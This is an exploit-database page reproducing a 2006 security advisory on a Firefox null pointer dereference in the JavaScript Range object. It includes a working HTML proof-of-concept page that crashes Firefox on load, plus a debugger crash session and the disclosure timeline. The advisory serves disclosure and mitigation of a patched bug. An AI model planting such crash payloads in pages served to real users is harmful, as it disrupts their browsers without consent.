header-logo
Suggest Exploit
vendor:
Firefox
by:
Gotfault Security
N/A
CVSS
N/A
NULL Pointer Deference
476
CWE
Product Name: Firefox
Affected Version From: 1.5.0.7
Affected Version To: 2.0
Patch Exists: YES
Related CWE: N/A
CPE: a:mozilla:firefox
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2006

Gotfault Security – Advisory #05 – 27/10/06

Mozilla Firefox is prone to a D.O.S within its javascript Range object. In a special condition, a NULL Pointer Deference occur and Firefox crashes. When a DOCUMENT_TYPE_NODE (<!DOCTYPE...) element is passed to selectNode method and trigger a NULL Pointer deference when calling createContextualFragment method.

Mitigation:

Upgrade to the latest version of Mozilla Firefox.
Source

Exploit-DB raw data:

<!--
------------------------------------------------- 
Gotfault Security - Advisory #05 - 27/10/06 
------------------------------------------------- 
Software   : Firefox
Homepage   : http://www.mozilla.com/
Vulnerable : 1.5.0.7 and below, 2.0
Risk       : Moderate
Impact     : Denial of Services (Code execution not verified)
-------------------------------------------------
DESCRIPTION
-------------------------------------------------
Mozilla Firefox is prone to a D.O.S within its javascript Range object. In a
special condition, a NULL Pointer Deference occur and Firefox crashes.
From DOM MDC:

"The Range object represents a fragment of a document that can contain nodes 
and parts of text nodes in a given document."

A Range object can be initialized using the selectNode method, that selects a
node to be inserted within a Range. A Range can also be used to create document
fragments using the createContextualFragment method. Below is an example of
using such a method, from DOM MDC:

var tagString = "<div>I am a div node</div>";
var range = document.createRange();
range.selectNode(document.getElementsByTagName("div").item(0));
var documentFragment = range.createContextualFragment(tagString);
document.body.appendChild(documentFragment);

As can be seen, a range is created using the createRange document method and
then is initialized using the selectNode method against some element within
the current document. At this point createContextualFragment can be used to
create document fragments, that can be inserted into the document.
Mozilla Firefox does not proper handle when a DOCUMENT_TYPE_NODE (<!DOCTYPE...)
element is passed to selectNode method and trigger a NULL Pointer deference 
when calling createContextualFragment method. 

-------------------------------------------------
POC
-------------------------------------------------

This POC code crashes Mozilla Firefox:

--- snip ---
-->

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
 <head>
  <script type="text/javascript">
   function do_crash()
   {
    var range;
    range = document.createRange();
    range.selectNode(document.firstChild);
    range.createContextualFragment('<span></span>');
   }
  </script>
 </head>
 <body onload="do_crash()">
  <p>Good bye Firefox!</p>
 </body>
</html>

<!--
--- snip ---

-------------------------------------------------
POC details
-------------------------------------------------

In [1], we use the selectNode method agains document.firstNode, that in
this case is <!DOCTYPE ...> node. Then we use createContextualFragment
and Firefox crashes.

-------------------------------------------------
GDB session
-------------------------------------------------

Following is the GDB session registered in the crash moment, tested
agains Firefox 2.0 official release:

--- snip ---

barros@zaphod:~$ gdb /usr/lib/firefox/firefox-bin -q
(no debugging symbols found)
Using host libthread_db library "/lib/tls/libthread_db.so.1".
(gdb) at 16000
Attaching to program: /usr/lib/firefox-2.0RC3/firefox-bin, process 16000
...
...
0xb7502ce3 in poll () from /lib/tls/libc.so.6
(gdb) c
Continuing.
[Thread -1240372304 (LWP 16003) exited]
[Thread -1283585104 (LWP 16010) exited]
[New Thread -1283585104 (LWP 16018)]
[New Thread -1240372304 (LWP 16019)]

Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread -1221409088 (LWP 16000)]
0x081d98ee in nsWritingIterator<unsigned short>::advance ()
(gdb) i r
eax            0x0      0
ecx            0x2cec7263       753693283
edx            0x95b55b8        156980664
ebx            0x1      1
esp            0xbf89f334       0xbf89f334
ebp            0xbf89f5b8       0xbf89f5b8
esi            0x0      0
edi            0x1      1
eip            0x81d98ee        0x81d98ee
eflags         0x10246  66118
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51
(gdb) bt
#0  0x081d98ee in nsWritingIterator<unsigned short>::advance ()
#1  0x083b4d8f in nsReadingIterator<unsigned short>::advance ()
#2  0xb7ed339b in XPTC_InvokeByIndex () from /usr/lib/firefox/libxpcom_core.so
#3  0x080a6960 in nsTHashtable<nsBaseHashtableET<nsDepCharHashKey, nsAutoPtr<nsINIParser::INIValue> > >::~nsTHashtable ()
#4  0x080ac53a in nsTHashtable<nsBaseHashtableET<nsDepCharHashKey, nsAutoPtr<nsINIParser::INIValue> > >::~nsTHashtable ()
#5  0xb7f2fed6 in js_Invoke () from /usr/lib/firefox/libmozjs.so
#6  0xb7f3480d in js_Interpret () from /usr/lib/firefox/libmozjs.so
#7  0xb7f2ff91 in js_Invoke () from /usr/lib/firefox/libmozjs.so
#8  0xb7f30374 in js_InternalInvoke () from /usr/lib/firefox/libmozjs.so
#9  0xb7f0d854 in JS_CallFunctionValue () from /usr/lib/firefox/libmozjs.so
#10 0x0843dbb7 in nsReadingIterator<unsigned short>::advance ()
#11 0x0846b6d9 in nsReadingIterator<unsigned short>::advance ()
#12 0x083c9724 in nsReadingIterator<unsigned short>::advance ()
#13 0x083c9b4b in nsReadingIterator<unsigned short>::advance ()
#14 0x08442204 in nsReadingIterator<unsigned short>::advance ()
#15 0x0826f4e7 in XmlInitUnknownEncodingNS ()
#16 0x085902fa in nsXPTCVariant::Init ()
#17 0x0856d6d8 in nsXPTCVariant::Init ()
#18 0x0859003b in nsXPTCVariant::Init ()
#19 0x08574845 in nsXPTCVariant::Init ()
#20 0x08573fb7 in nsXPTCVariant::Init ()
#21 0x08573f0e in nsXPTCVariant::Init ()
#22 0x08573cc7 in nsXPTCVariant::Init ()
#23 0x0812dc8c in nsTHashtable<nsBaseHashtableET<nsDepCharHashKey, nsAutoPtr<nsINIParser::INIValue> > >::~nsTHashtable ()
#24 0x08284255 in XmlInitUnknownEncodingNS ()
#25 0x08284002 in XmlInitUnknownEncodingNS ()
#26 0xb7ebe11f in PL_HandleEvent () from /usr/lib/firefox/libxpcom_core.so
#27 0xb7ebe072 in PL_ProcessPendingEvents ()
   from /usr/lib/firefox/libxpcom_core.so
#28 0xb7ebf69f in nsEventQueueImpl::CheckForDeactivation ()
   from /usr/lib/firefox/libxpcom_core.so
#29 0x0824aba4 in XmlInitUnknownEncodingNS ()
#30 0xb797a53f in g_vasprintf () from /usr/lib/libglib-2.0.so.0
#31 0xb7952b77 in g_main_context_dispatch () from /usr/lib/libglib-2.0.so.0
#32 0xb7954505 in g_main_context_acquire () from /usr/lib/libglib-2.0.so.0
#33 0xb795482a in g_main_loop_run () from /usr/lib/libglib-2.0.so.0
#34 0xb7c0fac3 in gtk_main () from /usr/lib/libgtk-x11-2.0.so.0
#35 0x0824ae48 in XmlInitUnknownEncodingNS ()
#36 0x0869f4c4 in nsXPTCVariant::Init ()
#37 0x0807d11f in ?? ()
#38 0x08b43ff0 in ?? ()
#39 0xb745f9b8 in ?? () from /lib/tls/libc.so.6
#40 0x00000000 in ?? ()
#41 0x00000000 in ?? ()
#42 0x00000001 in ?? ()
#43 0x08834520 in nsIFactory::GetIID()::iid ()
#44 0xbf8a100c in ?? ()
#45 0x08834520 in nsIFactory::GetIID()::iid ()
#46 0xbf8a100c in ?? ()
#47 0x00000000 in ?? ()
#48 0x08834480 in nsIFactory::GetIID()::iid ()
#49 0xbf8a1008 in ?? ()
#50 0x08834480 in nsIFactory::GetIID()::iid ()
#51 0xbf8a1008 in ?? ()
#52 0x00000000 in ?? ()
#53 0x00000000 in ?? ()
#54 0x00000000 in ?? ()
#55 0x00000001 in ?? ()
#56 0xb7378ee0 in ?? ()
#57 0x00000000 in ?? ()
#58 0x00000001 in ?? ()
#59 0x08a4ea30 in ?? ()
#60 0x08eac128 in ?? ()
#61 0xbf8a1058 in ?? ()
#62 0xb7de51e7 in pthread_mutex_lock () from /lib/tls/libpthread.so.0
#63 0x08079397 in ?? ()
#64 0x00000001 in ?? ()
#65 0xbf8a1384 in ?? ()
#66 0x088330a0 in _IO_stdin_used ()
#67 0xbf8a1358 in ?? ()
#68 0xb7468fcb in __libc_start_main () from /lib/tls/libc.so.6
#69 0xb7468fcb in __libc_start_main () from /lib/tls/libc.so.6
#70 0x080792f5 in ?? ()
(gdb) x/i $eip
0x81d98ee <_ZN17nsWritingIteratorItE7advanceEi+75886>:  mov    0x4(%eax),%edx
(gdb) i r eax edx
eax            0x0      0
edx            0x95b55b8        156980664
(gdb) c
Continuing.
Detaching after fork from child process 16020.

Program received signal SIGSEGV, Segmentation fault.
0x081d98ee in nsWritingIterator<unsigned short>::advance ()

--- snip ---

-------------------------------------------------
TIMELINE
-------------------------------------------------
06/08/2006 - Vulnerability detected.
04/10/2006 - Vendor contacted, no response.
27/10/2006 - Advisory released

-------------------------------------------------
REFERENCES
-------------------------------------------------
http://gotfault.net/research/advisory/gadv-firefox.txt
http://www.barrossecurity.com/download/29
-->

# milw0rm.com [2006-10-31]

Navigation

Suggest Exploit

Services By CQR